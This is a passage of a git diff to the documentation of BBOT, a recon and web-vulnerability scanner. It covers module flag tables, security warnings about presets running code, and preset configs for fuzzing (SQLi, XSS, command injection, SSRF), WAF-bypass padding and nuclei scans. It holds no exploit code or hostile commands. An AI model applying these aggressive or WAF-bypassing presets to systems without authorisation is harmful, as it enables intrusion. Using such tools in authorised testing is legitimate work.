filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, http, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, waf_bypass, wayback | -| passive | 68 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 52 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, webbrute, webbrute_shortnames | -| subdomain-enum | 47 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, http, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | -| loud | 21 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, telerik, url_manipulation, virtualhost, wafw00f, webbrute, webbrute_shortnames | -| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | -| cloud-enum | 16 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, dnsbimi, dnstlsrpt, http, oauth, securitytxt | -| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, http, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| web-heavy | 16 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, telerik, url_manipulation, waf_bypass, webbrute_shortnames | -| slow | 11 | May take a long time to complete | bucket_digitalocean, bucket_hetzner, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, virtualhost | -| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | -| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | -| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nuclei, telerik | -| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | -| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | -| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | iis_shortnames, webbrute_shortnames | -| portscan | 2 | Discovers open ports | portscan, shodan_idb | -| social-enum | 2 | Enumerates social media | http, social | -| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | -| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | -| web-screenshots | 1 | Takes screenshots of web pages | gowitness | +| Flag | # Modules | Description | Modules | +|------------------|-------------|----------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| safe | 103 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, favicon, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, http, hunt, hunterio, ip2location, ipstack, jadx, js_unpacker, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otilabs, otx, pgp, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, scanmalware, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, waf_bypass, wayback | +| passive | 69 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otilabs, otx, pgp, postman, postman_download, rapiddns, scanmalware, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| active | 55 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, favicon, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, js_unpacker, legba, lightfuzz, medusa, newsletters, nowafpls, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, webbrute, webbrute_shortnames | +| subdomain-enum | 48 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, http, hunterio, ipneighbor, leakix, myssl, oauth, otilabs, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | +| loud | 21 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, telerik, url_manipulation, virtualhost, wafw00f, webbrute, webbrute_shortnames | +| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | +| web-heavy | 18 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, favicon, generic_ssrf, host_header, hunt, lightfuzz, nowafpls, reflected_parameters, retirejs, telerik, url_manipulation, waf_bypass, webbrute_shortnames | +| web | 17 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, http, iis_shortnames, js_unpacker, ntlm, oauth, robots, securitytxt, sslcert | +| cloud-enum | 16 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, dnsbimi, dnstlsrpt, http, oauth, securitytxt | +| slow | 11 | May take a long time to complete | bucket_digitalocean, bucket_hetzner, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, virtualhost | +| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| invasive | 8 | Intrusive or potentially destructive | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nowafpls, nuclei, telerik | +| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | +| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | +| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | +| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | +| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | iis_shortnames, webbrute_shortnames | +| portscan | 2 | Discovers open ports | portscan, shodan_idb | +| social-enum | 2 | Enumerates social media | http, social | +| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | +| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | +| web-screenshots | 1 | Takes screenshots of web pages | gowitness | ## Dependencies diff --git a/docs/scanning/presets.md b/docs/scanning/presets.md index bdd6fed313..460ec77448 100644 --- a/docs/scanning/presets.md +++ b/docs/scanning/presets.md @@ -23,6 +23,11 @@ output_modules: ``` +!!! danger "A preset is executable code, not just data" + A preset can load custom Python modules (`module_dirs`) and run Jinja/Python `conditions`. Both execute with your privileges the moment the preset is loaded or validated, **before the scan starts**. BBOT makes a best-effort to harden this path (a trust prompt for custom module folders, a sandbox for conditions, input validation on config), but these are courtesy safeguards, **not a security boundary**. + + Treat a preset from anyone else exactly as you would a Python script from an untrusted source: read it before you run it, and only run presets you trust. + ## How to use Presets (`-p`) BBOT ships with a collection of presets for common tasks like subdomain enumeration and web spidering. The defaults live in `bbot/presets` inside the installed package. You can also place custom presets anywhere and reference them by path. @@ -192,6 +197,20 @@ module_dirs: - /home/user/custom_modules ``` +Custom modules are Python code that runs with your privileges, and even validating a malicious module can result in code execution. Only load module folders you trust. To protect you, BBOT: + +- Asks you to confirm each custom module folder before reading anything in it. The prompt lists the modules in the folder. +- Refuses to load a folder or module file that is world-writable, since anyone on the system could have planted or modified it. The error tells you how to fix the permissions. +- Points out, in the prompt, any part of the folder owned by another user (anyone other than you or root), since that user can change the code. This is common when running BBOT with `sudo`, or in Docker with a folder mounted from the host. +- Refuses a custom module that has the same name as an existing module (built-in or from another custom folder). Custom modules can never replace existing ones. If you want a modified version of a built-in module, give your copy a different name and enable it instead of the original. + +!!! warning + Passing `-y` / `--yes` answers yes to the trust prompt automatically. Only use `-y` with presets whose module folders you trust. `-S` / `--silent` doesn't answer it: since the prompt can't be shown, BBOT stops with an error unless you also pass `-y`. + +When BBOT is used as a Python library, there is no prompt; it logs a warning for each custom module folder instead. + +`module_dirs` only works at the top level of a preset. Setting it as a config option (in `bbot.yml`, under `config:` in a preset, or with `-c module_dirs=...`) is deprecated and ignored, and logs a warning at scan start. + ### Conditions Sometimes, you might need to add custom logic to a preset. BBOT supports this via `conditions`. The `conditions` attribute allows you to specify a list of custom conditions that will be evaluated before the scan starts. This is useful for performing last-minute sanity checks, or changing the behavior of the scan based on custom criteria. @@ -210,7 +229,7 @@ conditions: ``` ```yaml title="my_preset.yml" -description: Enable webbrute but only when the web spider isn't also enabled +description: Abort if webbrute and the web spider are both enabled modules: - webbrute @@ -218,15 +237,14 @@ modules: conditions: - | {% if config.web.spider_distance > 0 and config.web.spider_depth > 0 %} - {{ warn("Disabling webbrute because the web spider is enabled") }} - {{ preset.exclude_module("webbrute") }} + {{ abort("Don't run webbrute with the web spider enabled; remove one of them.") }} {% endif %} ``` -Conditions use [Jinja](https://palletsprojects.com/p/jinja/), which means they can contain Python code. They run inside a sandboxed environment which has access to the following variables: +Conditions use [Jinja](https://palletsprojects.com/p/jinja/), which means they can contain Python code. They run inside a sandbox and are given a **read-only snapshot** of the preset and config: a condition can inspect the scan's settings and `warn` or `abort`, but it cannot modify the preset or reach BBOT internals. The available variables are: -- `preset` - the current preset object -- `config` - the current config (an alias for `preset.config`) +- `preset` - a read-only snapshot of the current preset (its modules, flags, config, etc.) +- `config` - a read-only snapshot of the current config - `warn(message)` - display a custom warning message to the user - `abort(message)` - abort the scan with an optional message diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 605ffeeb5d..a796185395 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -15,7 +15,7 @@ Check for subdomain takeovers and other DNS issues. config: modules: baddns: - enabled_submodules: [CNAME, MX, TXT] + enabled_submodules: [CNAME, MX, TXT, DELEGATION] min_severity: LOW min_confidence: MEDIUM ``` @@ -42,7 +42,7 @@ Run all baddns modules and submodules. config: modules: baddns: - enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] + enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD, DELEGATION] min_severity: INFO min_confidence: UNKNOWN baddns_zone: @@ -122,7 +122,7 @@ Comprehensive scan for all IIS/.NET specific modules and module settings webbrute_shortnames: find_subwords: True telerik: - exploit_RAU_crypto: True + rau_confirm_version: True # Identify the exact Telerik version by uploading a benign 1-byte file include_subdirs: True # Run against every directory, not the default first received URL per-host ``` @@ -215,6 +215,7 @@ Hunt for leaked credentials and vulnerable libraries in client-side JavaScript - retirejs - robots - wayback + - js_unpacker config: modules: @@ -283,13 +284,15 @@ Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, modules: - badsecrets - hunt + - nowafpls - reflected_parameters - + config: modules: lightfuzz: enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] try_post_as_get: True + avoid_wafs: try_bypasses ``` Category: web @@ -341,7 +344,6 @@ Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests modules: - http - lightfuzz - - portfilter config: url_querystring_remove: False # don't strip off the querystring (BBOT normally does this; but lightfuzz needs it) @@ -350,7 +352,7 @@ Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests lightfuzz: enabled_submodules: [path,sqli,xss] # only look for the most common vulnerabilities disable_post: True # don't send POST requests (less aggressive) - avoid_wafs: True + avoid_wafs: always conditions: - | @@ -381,7 +383,7 @@ Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer varian lightfuzz: force_common_headers: True # Fuzz common headers like X-Forwarded-For even if they're not observed on the target enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] - avoid_wafs: False + avoid_wafs: never excavate: speculate_params: True # speculate potential parameters extracted from JSON/XML web responses wayback: @@ -396,26 +398,27 @@ Modules: [0]("") ## **lightfuzz-xss** -XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. +XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST fuzzing enabled and try_get_as_post retests every discovered GET parameter as POST, so the nowafpls body-padding bypass gets a chance on WAF-tagged targets (a padded-POST XSS is triggerable from an attacker-controlled form). ??? note "`lightfuzz-xss.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-xss.yml" - description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset." + description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST fuzzing enabled and try_get_as_post retests every discovered GET parameter as POST, so the nowafpls body-padding bypass gets a chance on WAF-tagged targets (a padded-POST XSS is triggerable from an attacker-controlled form)." modules: - http - lightfuzz + - nowafpls - paramminer_getparams - reflected_parameters - - portfilter - + config: url_querystring_remove: False url_querystring_collapse: False modules: lightfuzz: enabled_submodules: [xss] - disable_post: True + try_get_as_post: True + avoid_wafs: try_bypasses conditions: - | @@ -439,7 +442,6 @@ Run nuclei scans against all discovered targets modules: - http - nuclei - - portfilter config: modules: @@ -485,7 +487,6 @@ Run nuclei scans against all discovered targets, using budget mode to look for l modules: - http - nuclei - - portfilter config: modules: @@ -518,7 +519,6 @@ Run nuclei scans against all discovered targets, allowing for spidering, against - nuclei - robots - urlscan - - portfilter - wayback config: @@ -545,6 +545,64 @@ Category: nuclei Modules: [0]("") +## **nuclei-new** + +Run nuclei scans against all discovered targets, using only the templates added in the latest nuclei-templates release + +??? note "`nuclei-new.yml`" + ```yaml title="~/.bbot/presets/nuclei/nuclei-new.yml" + description: Run nuclei scans against all discovered targets, using only the templates added in the latest nuclei-templates release + + modules: + - http + - nuclei + + config: + modules: + nuclei: + new_templates: true + directory_only: true # Do not run nuclei on individual non-directory URLs + + conditions: + - | + {% if config.web.spider_distance != 0 %} + {{ warn("Running nuclei with spider enabled is generally not recommended. Consider removing 'spider' preset.") }} + {% endif %} + ``` + +Category: nuclei + +Modules: [0]("") + +## **nuclei-recommended** + +Run nuclei scans against all discovered targets, using ProjectDiscovery's curated "recommended" template profile + +??? note "`nuclei-recommended.yml`" + ```yaml title="~/.bbot/presets/nuclei/nuclei-recommended.yml" + description: Run nuclei scans against all discovered targets, using ProjectDiscovery's curated "recommended" template profile + + modules: + - http + - nuclei + + config: + modules: + nuclei: + profile: recommended + directory_only: true # Do not run nuclei on individual non-directory URLs + + conditions: + - | + {% if config.web.spider_distance != 0 %} + {{ warn("Running nuclei with spider enabled is generally not recommended. Consider removing 'spider' preset.") }} + {% endif %} + ``` + +Category: nuclei + +Modules: [0]("") + ## **nuclei-technology** Run nuclei scans against all discovered targets, running templates which match discovered technologies @@ -556,7 +614,6 @@ Run nuclei scans against all discovered targets, running templates which match d modules: - http - nuclei - - portfilter config: modules: @@ -724,15 +781,16 @@ Modules: [0]("") ## **tech-detect** -Detect technologies via Nuclei, and FingerprintX +Detect technologies via Nuclei, FingerprintX, and favicon hashes ??? note "`tech-detect.yml`" ```yaml title="~/.bbot/presets/tech-detect.yml" - description: Detect technologies via Nuclei, and FingerprintX + description: Detect technologies via Nuclei, FingerprintX, and favicon hashes modules: - nuclei - fingerprintx + - favicon config: modules: @@ -1013,41 +1071,43 @@ Modules: [0]("") Here is a the same data, but in a table: -| Preset | Category | Description | # Modules | Modules | -|-------------------|------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|----------------------------------------------------------------------------------------------------| -| baddns | | Check for subdomain takeovers and other DNS issues. | 1 | baddns | -| baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | -| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | -| code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | -| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 8 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, http, telerik, webbrute, webbrute_shortnames | -| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | -| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | -| iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | -| js-audit | web | Hunt for leaked credentials and vulnerable libraries in client-side JavaScript | 6 | badsecrets, http, retirejs, robots, trufflehog, wayback | -| kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, http, hunt, reflected_parameters, webbrute | -| lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters | -| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 8 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots, wayback | -| lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 3 | http, lightfuzz, portfilter | -| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 8 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots, wayback | -| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. | 5 | http, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | -| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | http, nuclei, portfilter | -| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | http, nuclei, portfilter | -| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | http, nuclei, portfilter, robots, urlscan, wayback | -| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | http, nuclei, portfilter | -| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 3 | http, hunt, reflected_parameters | -| paramminer-heavy | web | Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time. | 3 | http, hunt, reflected_parameters | -| spider | | Recursive web spider | 1 | http | -| spider-heavy | | Recursive web spider with more aggressive settings | 1 | http | -| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | -| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | -| virtualhost | web | Virtual host discovery: subdomain brute-force and mutations against the target host's Host header / SNI. | 1 | virtualhost | -| virtualhost-heavy | web | Aggressive virtual host discovery: everything in virtualhost, plus special-host probing, certificate SAN extraction, and wordcloud-driven candidate testing. | 1 | virtualhost | -| waf-bypass | | WAF bypass detection with subdomain enumeration | 2 | http, waf_bypass | -| wayback | | Discover URLs and interesting archived files via the Wayback Machine | 1 | wayback | -| wayback-heavy | | Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection | 2 | badsecrets, wayback | -| web | | Quick web scan | 0 | | -| web-heavy | | Aggressive web scan | 0 | | -| web-screenshots | | Take screenshots of webpages | 0 | | -| webbrute | web | Basic web directory brute-force (surface-level directories only) | 1 | webbrute | -| webbrute-heavy | web | Recursive web directory brute-force (aggressive) | 3 | http, wayback, webbrute | +| Preset | Category | Description | # Modules | Modules | +|--------------------|------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|----------------------------------------------------------------------------------------------------| +| baddns | | Check for subdomain takeovers and other DNS issues. | 1 | baddns | +| baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | +| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | +| code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | +| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 8 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, http, telerik, webbrute, webbrute_shortnames | +| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | +| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | +| iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | +| js-audit | web | Hunt for leaked credentials and vulnerable libraries in client-side JavaScript | 7 | badsecrets, http, js_unpacker, retirejs, robots, trufflehog, wayback | +| kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, http, hunt, reflected_parameters, webbrute | +| lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, http, hunt, lightfuzz, nowafpls, reflected_parameters | +| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 8 | badsecrets, http, hunt, lightfuzz, nowafpls, reflected_parameters, robots, wayback | +| lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 2 | http, lightfuzz | +| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 8 | badsecrets, http, hunt, lightfuzz, nowafpls, reflected_parameters, robots, wayback | +| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST fuzzing enabled and try_get_as_post retests every discovered GET parameter as POST, so the nowafpls body-padding bypass gets a chance on WAF-tagged targets (a padded-POST XSS is triggerable from an attacker-controlled form). | 5 | http, lightfuzz, nowafpls, paramminer_getparams, reflected_parameters | +| nuclei | nuclei | Run nuclei scans against all discovered targets | 2 | http, nuclei | +| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 2 | http, nuclei | +| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 5 | http, nuclei, robots, urlscan, wayback | +| nuclei-new | nuclei | Run nuclei scans against all discovered targets, using only the templates added in the latest nuclei-templates release | 2 | http, nuclei | +| nuclei-recommended | nuclei | Run nuclei scans against all discovered targets, using ProjectDiscovery's curated "recommended" template profile | 2 | http, nuclei | +| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 2 | http, nuclei | +| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 3 | http, hunt, reflected_parameters | +| paramminer-heavy | web | Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time. | 3 | http, hunt, reflected_parameters | +| spider | | Recursive web spider | 1 | http | +| spider-heavy | | Recursive web spider with more aggressive settings | 1 | http | +| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | +| tech-detect | | Detect technologies via Nuclei, FingerprintX, and favicon hashes | 3 | favicon, fingerprintx, nuclei | +| virtualhost | 